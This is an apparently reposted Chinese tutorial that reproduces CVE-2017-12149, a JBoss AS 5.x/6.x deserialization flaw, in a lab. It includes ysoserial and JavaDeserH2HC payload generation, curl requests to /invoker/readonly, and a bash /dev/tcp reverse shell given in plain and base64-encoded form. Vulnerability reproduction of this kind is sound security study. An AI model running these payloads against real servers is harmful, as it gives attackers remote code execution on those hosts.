CVE-2017-12149漏洞复现

栏目: 服务器 · 发布时间: 6年前

内容简介:作者:znn原文地址:https://secvul.com/topics/948.html漏洞编号:

作者:znn

原文地址:https://secvul.com/topics/948.html

0x00 漏洞简介

漏洞编号:

CVE-2017-12149

漏洞名称:

Jboss AS 5.x/6.x 反序列化漏洞

漏洞描述:

JBoss的HttpInvoker组件中的 ReadOnlyAccessFilter 过滤器中,其doFilter方法在没有进行任何安全检查和限制的情况下尝试将来自客户端的序列化数据流进行反序列化,导致任意代码执行。

影响版本:

Jboss AS 5.x

Jboss AS 6.x

0x01 环境搭建

下载地址:

http://download.jboss.org/jbossas/6.1/jboss-as-distribution-6.1.0.Final.zip

当然也可以是其他存在漏洞的版本(http://jbossas.jboss.org/downloads/)

然后:

cd jboss-xx/bin
run.sh -b 0.0.0.0

这样Jboss就在0.0.0.0的8080端口跑起来了,当然 java 环境要提前准备好,这点无须多言。

0x02 漏洞复现

以下分别用两个Java反序列化 工具 进行测试

2.1、JavaDeserH2HC

https://github.com/joaomatosf/JavaDeserH2HC

如下测试反弹:

#Compiling 
javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
#Saving serialized object in ExampleCommonsCollections1.ser
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap ip:port
#Exploiting vulnerable server:
curl http://192.168.1.106:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser

(注:用该工具测试直接执行命令一直失败,但nc返台的payload执行并没有问题,可能是工具本身问题,也可能是因为我太菜。)

2.2、ysoserial

https://github.com/frohoff/ysoserial

首先进行编译

mvn clean package -DskipTests

生成payload并发送

java -jar target/ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections5 "touch /tmp/123.txt" > tmp.ser
curl http://192.168.1.106:8080/invoker/readonly --data-binary @tmp.ser

这里有个坑就是要执行反弹的时候,比如,

bash -i >& /dev/tcp/192.169.1.104/88 0>&1

要转成

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY5LjEuMTA0Lzg4IDA+JjE=}|{base64,-d}|{bash,-i}

这种base64的形式,不然一直出错。


以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

创业者

创业者

[美] 杰西卡·利文斯顿 / 夏吉敏 / 机械工业出版社 / 2010-5 / 58.00元

本书源自作者对32个IT行业创业者的访谈,包括Apple, Gmail, hotmail, TiVo, Flickr, Lotus 及 Yahoo公司等著名公司,主题为创业初期的人和事。 对于做梦都想创业的人来说,这本书一定要读,可以看看前辈高人是如何创业的。 对于希望了解企业家成功历程和经验的人来说,这是一本必读之书,因为里面有很多成功人士年轻时的故事,你可以好象看着他们长大一样,知......一起来看看 《创业者》 这本书的介绍吧!

随机密码生成器
随机密码生成器

多种字符组合密码

XML、JSON 在线转换
XML、JSON 在线转换

在线XML、JSON转换工具

RGB HSV 转换
RGB HSV 转换

RGB HSV 互转工具